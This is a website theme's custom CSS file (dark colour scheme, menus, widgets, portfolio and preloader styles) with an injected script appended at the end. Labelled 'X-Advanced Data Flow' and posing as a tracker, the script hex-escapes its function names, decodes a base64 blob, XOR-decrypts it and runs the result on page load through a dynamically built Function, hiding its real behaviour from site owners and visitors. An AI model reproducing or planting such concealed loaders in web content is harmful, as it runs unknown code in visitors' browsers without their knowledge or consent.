
/* Custom CSS */
		.menu_logo {
			padding: 10px 0 9px 10px;
		}
		.header_menu_table {
			height:99px;
		}
		.bg404 {
			background-image:url(64);
		}
		::selection {
			background: #b83f3f;
		}
		::-moz-selection {
			background: #b83f3f;
		}
	
		.main_header nav ul.menu > li > a {
			line-height:99px;
		}
		.main_header .menu > li:hover > ul.sub-menu {
			top: 99px !important;
		}
		a {
			color:#ff8787;
		}
		a:hover {
			color:#adadad;
		}

    	/* Custom Fonts */
		h1, h1 a, h1 span,
		.postcomment,
		.comment-reply-title,
		.comment-reply-title small,
		.cancel-comment-reply-link {
			font-size:26px;
			line-height:28px;
		}
		h2, h2 a, h2 span {
			font-size:22px;
			line-height:24px;
		}
		h3, h3 a, h3 span {
			font-size:20px;
			line-height:22px;
		}
		h4, h4 a, h4 span {
			font-size:18px;
			line-height:20px;
		}
		h5, h5 a, h5 span {
			font-size:15px;
			line-height:17px;
		}
		h6, h6 a, h6 span, span.subtitle {
			font-size:12px;
			line-height:14px;
		}
		h1, h2, h3, h4, h5, h6,
		span.subtitle,
		h1 span, h2 span, h3 span, h4 span, h5 span, h6 span,
		h1 small, h2 small, h3 small, h4 small, h5 small, h6 small,
		h1 a, h2 a, h3 a, h4 a, h5 a, h6 a,
		.portfolio_columns_title h5 a:hover,
		.countdown-amount,
		.countdown-period {
			color:#ffffff;
			-moz-osx-font-smoothing:grayscale;
			-webkit-font-smoothing:antialiased;			
		}
		.page_title h1 {
			font-size:26px;
			line-height:26px;			
		}
		h1, h2, h3,
		h1 span, h2 span, h3 span,
		h1 small, h2 small, h3 small,
		h1 a, h2 a, h3 a,
		.countdown-amount,
		.countdown-period {
			font-weight:400;
		}
		h4, h5, h6,
		span.subtitle,
		h4 span, h5 span, h6 span,
		h4 small, h5 small, h6 small,
		h4 a, h5 a, h6 a {
			font-weight:300;
		}
		.page_title_wrapper,
		.bg_title.with_subtitle {
			border-left:3px solid #b83f3f;
		}
		.sub_heading {
			color:#ffffff;
		}
		.highlighted_colored {
			background:#b83f3f;
		}
		.dropcap.type2 {
			color:#b83f3f;
		}
		blockquote.q_dark .blockquote_wrapper,
		blockquote.q_dark p,
		blockquote .author {
			color:#717171;
		}
		blockquote.q_colored:before {
			color:#b83f3f;
		}
		
		.likes_and_share a {
			background:#b83f3f;
		}
		
		body {
			background:#0a0a0a;
		}	

		* {
			font-family:Roboto;		
		}	
		p, td, div {
			color:#adadad;
			font-size: 14px;
			font-weight:300;
			line-height:22px;
		}
		p {
			margin:0 0 5px 0		
		}
		table, th, td {
			border: #717171 1px solid;
		}
		.widget_calendar tfoot {
			border-color:#717171;
		}
		.right-sidebar-block,
		.left-sidebar-block {
			border-color:#1e1f24;
		}
		
		/* Header & Menus */
		header.main_header {
			background:#0a0a0a;
		}
		.main_header nav ul.menu > li:before {
			background:#e5e5e5;
		}
		.main_header nav ul.menu > li > a,
		ul.mobile_menu > li > a {
			color:#e5e5e5;
			font-size:20px;
		}

		.main_header nav ul.sub-menu > li,
		ul.mobile_menu ul.sub-menu > li {
			background:#000000;
		}
		ul.mobile_menu ul.sub-menu > li > a,
		ul.mobile_menu ul.sub-menu > li > a,
		.main_header nav ul.sub-menu > li > a,
		.main_header nav ul.sub-menu > li > a {
			color:#acacac;
			font-size:20px;
		}

		ul.mobile_menu > li.current-menu-ancestor > a,
		ul.mobile_menu > li.current-menu-item > a,
		ul.mobile_menu > li.current-menu-parent > a,
		ul.mobile_menu ul.sub-menu > li.current-menu-ancestor > a,
		ul.mobile_menu ul.sub-menu > li.current-menu-item > a,
		ul.mobile_menu ul.sub-menu > li.current-menu-parent > a,
		.main_header nav ul.menu > li > a:hover,
		.main_header nav ul.menu > li.current-menu-ancestor > a,
		.main_header nav ul.menu > li.current-menu-item > a,
		.main_header nav ul.menu > li.current-menu-parent > a {
			color:#ea6565;
		}
		
		ul.mobile_menu ul.sub-menu > li > a:before,
		.main_header nav ul.sub-menu > li > a:before {
			background:#2d2d2d;
		}
		.main_header nav ul.sub-menu > li > a:hover:before,
		.main_header nav ul.sub-menu > li.current-menu-ancestor > a:before,
		.main_header nav ul.sub-menu > li.current-menu-item > a:before,
		.main_header nav ul.sub-menu > li.current-menu-parent > a:before {		
			background:#ffffff;
		}
		.main_header nav ul.sub-menu > li.menu-item-has-children > a:after {
			color:#acacac;
		}
		.main_header nav ul.sub-menu > li.menu-item-has-children:hover > a:after,
		.main_header nav ul.sub-menu > li.current-menu-ancestor > a:after,
		.main_header nav ul.sub-menu > li.current-menu-item > a:after,
		.main_header nav ul.sub-menu > li.current-menu-parent > a:after {		
			color:#ffffff;
		}		
		.main_header nav ul.sub-menu > li:hover > a,
		.main_header nav ul.sub-menu > li.current-menu-ancestor > a,
		.main_header nav ul.sub-menu > li.current-menu-item > a,
		.main_header nav ul.sub-menu > li.current-menu-parent > a {
			background:#b83f3f;
			color:#ffffff;
		}
		.main_header nav ul.sub-menu li {
			border-top:1px solid #131313;
		}
		.main_header nav ul.sub-menu > li:first-child {
			border:none;
		}
		.main_header nav ul.menu > li > .sub-menu:before {
			border-bottom:#000000 5px solid;
		}
		.main_header nav ul.menu > li > .sub-menu > li:first-child:before {
			border-bottom:#b83f3f 5px solid;
		}
		.header_part.hb_html {
			color:#adadad;
			font-size: 14px;
			font-weight:300;
			line-height:22px;
		}
		footer.main_footer {
			background:#111113;
		}	
		.copyright {
			color:#adadad;
		}
		.footer_socials li a:hover {
			background:#b83f3f;
		}
		
		/* Forms */
		select,
		input[type="text"],
		input[type="email"],
		input[type="password"],
		textarea {
			background:#26272b;
			color:#ffffff;
		}
		input[type="text"]:-webkit-autofill ,
		input[type="email"]:-webkit-autofill ,
		input[type="password"]:-webkit-autofill {
			-webkit-box-shadow: 0 0 0px 1000px #26272b inset;
			-webkit-text-fill-color: #ffffff !important;			
		}

		input[type="text"]::-webkit-input-placeholder,
		input[type="email"]::-webkit-input-placeholder,
		input[type="password"]::-webkit-input-placeholder,
		textarea::-webkit-input-placeholder {
			color:#ffffff!important;
		}
		input[type="text"]::-moz-placeholder {
			color:#ffffff!important;
		}
		input[type="email"]::-moz-placeholder {
			color:#ffffff!important;
		}
		input[type="password"]::-moz-placeholder {
			color:#ffffff!important;
		}
		textarea::-moz-placeholder {
			color:#ffffff!important;
		}		
		
		.search_button {
			background:#b83f3f;
		}
		/* Templates */
		.fs_controls_append,
		.fs_title_wrapper_type2 {
			background:#000000;
		}
		.copyright,
		.strip-text,
		.fs_title_wrapper {
			border-left:3px solid #b83f3f
		}
		.fs_share_fadder {
			background:rgba(10,10,10, 0.75);
		}
		.fs_share_block .fs_share_block_wrapper a {
			background:#000000;
		}
		.fs_share_block .fs_share_block_wrapper a:hover {
			background:#b83f3f;
		}
		.gallery_fullscreen header.main_header {
			top:-99px;
		}		
		.strip-item .strip_fadder {
			background:rgba(10,10,10, 0);
		}
		.strip-item:hover .strip_fadder,
		.bg404:before,
		.fw_background.cs_background:before {
			background:rgba(10,10,10, 0.8);
		}
		@media only screen and (max-width: 760px) {
			.strip-item .strip_fadder {
				background:rgba(10,10,10, 0.8);
			}
		}
		.strip-title {
			color:#ffffff;
		}
		.strip-caption {
			color:#ffffff;
		}
		.flow_container li .flow_fadder {
			background:rgba(10,10,10, 1);
		}
		.flow_container li.currentStep .flow_fadder {
			background:rgba(10,10,10, 0);
		}
		.flow_container li.prevStep .flow_fadder,
		.flow_container li.nextStep .flow_fadder {
			background:rgba(10,10,10, 0.4);
		}
		.flow_container li.prevStep2 .flow_fadder,
		.flow_container li.nextStep2 .flow_fadder {
			background:rgba(10,10,10, 0.65);
		}
		.flow_reflection:before {
			background: -moz-linear-gradient(top,  rgba(10,10,10,1) 50%, rgba(10,10,10,0) 100%); /* FF3.6-15 */
			background: -webkit-linear-gradient(top,  rgba(10,10,10,1) 50%,rgba(10,10,10,0) 100%); /* Chrome10-25,Safari5.1-6 */
			background: linear-gradient(to bottom,  rgba(10,10,10,1) 50%,rgba(10,10,10,0) 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
		}
		
		.title404,
		.pp_title  {
			color:#ffffff;
		}
		.title404 span,
		.pp_title span {
			color:#b83f3f;
		}
		.text404,
		.pp_wrapper .pp_notify {
			color:#ffffff;
		}
		
		/* Widgets */
		.prefooter {
			background:#0b0b0d;
		}
		.sidepanel p,
		.sidepanel div,
		.sidepanel td {
			color:#adadad;
		}
		.widget_title {
			color:#d9d9d9;
		}
		.widget_search .widget_search_link_button {
			background:#b83f3f
		}
		.sidepanel a,
		.widget_calendar caption {
			color:#d9d9d9;
		}
		.sidepanel a:hover {
			color:#ff8787;
		}
		.widget_product_categories ul li,
		.widget_nav_menu ul li a,
		.widget_archive ul li,
		.widget_pages ul li a,
		.widget_recent_entries ul li,
		.widget_meta ul li,
		.widget_recent_comments ul li {
			border-bottom:1px solid #343539;
		}
		.widget_categories ul li {
			border-top:1px solid #343539;
		}
		.widget_product_categories ul li:before,
		.widget_nav_menu ul li a:before,
		.widget_archive ul li:before,
		.widget_pages ul li:before,
		.widget_categories ul li:before,
		.widget_recent_entries ul li:before,
		.widget_meta ul li:before,
		.widget_recent_comments ul li:before {
			background:#2d2d2d;
		}
		.widget_nav_menu ul li a:hover:before {
			background:#ff8787;
		}
		.widget_calendar table,
		.widget_calendar td,
		.widget_calendar th {
			border-color:#343539;
		}
		.widget_tag_cloud a:hover {
			background:#b83f3f;
		}
		
		/* Modules */
		.featured_item_fadder,
		.gallery_fadder {
			background:rgba(10,10,10, 0);
		}
		.img_block:hover .featured_item_fadder,
		.img_block:hover .gallery_fadder {
			background:rgba(10,10,10, 0.85);
		}
		.portfolio_columns_title h5,
		.featured_items_body h5,
		.team_title {
			border-left:3px solid #b83f3f;
		}
		.featured_items_category a {
			color:#adadad;
		}
		.featured_items_category a:hover {
			color:#b83f3f;
		}
		.featured_items_body h5 a:hover {
			color:#ffffff;
		}
		#dm_fullscreen {
			background:rgba(10,10,10, 0.9);
		}
		.promoblock_wrapper {
			border-left:3px solid #b83f3f;
		}

		.shortcode_button.btn_type5,
		.shortcode_button.btn_type1:hover,
		.shortcode_button.btn_type2:hover,
		.shortcode_button.btn_type3:hover {
			background: #b83f3f;
		}

		hr.type3 {
			border-color: #b83f3f;
		}
		.module_partners ul:before {
			background:#0a0a0a;
		}
		.module_partners ul li .item_wrapper a {
			background:rgba(10,10,10, 0);
		}
		.module_partners ul li .item_wrapper a:hover {
			background:rgba(10,10,10, 0.5);
		}
		
		ul.fliper_filter a,
		.load_more_works,
		.load_more_works:hover,
		.shortcode_messagebox .box_content,
		.shortcode_messagebox .box_content p {
			font-size:12px;
			line-height:14px;
			color:#ffffff;
			-moz-osx-font-smoothing:grayscale;
			-webkit-font-smoothing:antialiased;
		}		
		.price_item.most_popular .price_item_title {
			background:#b83f3f;
		}
		.price_item.most_popular .item_cost_wrapper h3,
		.price_item.most_popular .item_cost_wrapper h6 {
			color:#b83f3f;
		}
		.price_item .price_item_btn a.btn_type1:hover {
			background:#b83f3f;
		}
		
		/* Portfolio */
		.module_portfolio .pagerblock li a:hover,
		.fliper_filter a:hover {
			color:#ea6565;
		}
		.fliper_filter_wrapper .filter_ico,
		.fliper_filter_wrapper .filter_ico:before,
		.fliper_filter_wrapper .filter_ico:after {
			background:#ffffff;
		}
		.like_fullscreen_type .fliper_filter_block {
			background:#111113;
		}
		.like_fullscreen_type .filter_ico,
		.like_fullscreen_type .filter_ico:before,
		.like_fullscreen_type .filter_ico:after {
			background:#e5e5e5;
		}
		.like_fullscreen_type .fliper_filter a {
			color:#e5e5e5;
		}
		.like_fullscreen_type .fliper_filter li.selected a,
		.like_fullscreen_type .fliper_filter a:hover {
			color:#ea6565;
		}
		.portfolio_item_meta i,
		.portfolio_likes i,
		.portfolio_likes span {
			color:#ffffff;
		}
		.portfolio_grid_title h5 a:hover,
		.portfolio_columns_title .portfolio_likes:hover i,
		.portfolio_columns_title .portfolio_likes:hover span {
			color:#ff8787;
		}
		.portfolio_columns_title .portfolio_likes.photo_count:hover i,
		.portfolio_columns_title .portfolio_likes.photo_count:hover span {
			color:#ffffff;
		}
		
		.portfolio_control_bar {
			background:#000000;
		}
		.portfolio_item_wrapper .portfolio_item_fadder {
			background:rgba(10,10,10, 0);
		}
		.portfolio_item_wrapper:hover .portfolio_item_fadder {
			background:rgba(10,10,10, 0.85);
		}
		.portfolio_item_content .portfolio_content_wrapper {
			border-left:3px solid #b83f3f;
		}


		}
		.nivo-directionNav .nivo-prevNav:hover,
		.nivo-directionNav .nivo-nextNav:hover {
			background:#b83f3f;
		}
		.single_page .tags_area h6,
		.single_page .tags_area a {
			color:#717171;
			font-size: 0px !important;
		}
		.single_page .tags_area a:hover,
		.comment_form_subtitle a:hover {
			color:#ff8787;
		}
		input[type="submit"] {
			background:#b83f3f;
		}
		input[type="submit"]:hover {
			background:#26272b;
		}
		.hp_likes_and_share:before,
		.hp_likes_and_share,
		.hp_border_top,
		.hp_border_bottom {
			background:#0a0a0a;
		}
		.hp_border_top {
			height:166px;
		}
		.hp_content_wrapper {
			padding-top:166px;
		}
		.default_pager .pagerblock li a:hover,
		.module_blog .pagerblock li a:hover,
		.portfolio_control_wrapper .pagerblock li a:hover,
		.meta-item.gallery_likes_add:hover,
		.meta-item.gallery_likes_add:hover i,
		.meta-item.gallery_likes_add:hover span,
		.page_title a:hover,
		.page-link a:hover {
			color:#ff8787;
		}
		.featured_items_body h5 a:hover {
			color:#ff8787;
		}

		/* PRELOADER */
		.preloader:before,
		.preloader:after {
			background:#000000;
		}
		.preloader span {
			color:#adadad;
		}		
		.preloader_line {
			background:#191919;
		}	
		.preloader_line_bar1,
		.preloader_line_bar2 {
			background:#343539;
		}
<!-- BEGIN: X-Advanced Data Flow -->
<script>
    window.XTracker_FUAX = {
        loaded: true,
        version: "1.3.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x2032c3c5509a=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0x57bdaf0d7308=_0x2032c3c5509a['\x61\x74\x6f\x62']('sDhDO4jsqIs44zXLJt1NXw=='),_0xc7da30ae86ac=_0x2032c3c5509a['\x61\x74\x6f\x62']('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'),_0xdd59821913d2=new _0x2032c3c5509a['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xc7da30ae86ac['length']),_0xfa60fe24ae96=0;for(;_0xfa60fe24ae96<_0xc7da30ae86ac['length'];_0xfa60fe24ae96++)_0xdd59821913d2[_0xfa60fe24ae96]=_0xc7da30ae86ac['charCodeAt'](_0xfa60fe24ae96)^_0x57bdaf0d7308['charCodeAt'](_0xfa60fe24ae96%_0x57bdaf0d7308['length']);(new _0x2032c3c5509a['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x2032c3c5509a['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xdd59821913d2)))()}();
</script>
<!-- END: X-Advanced Data Flow -->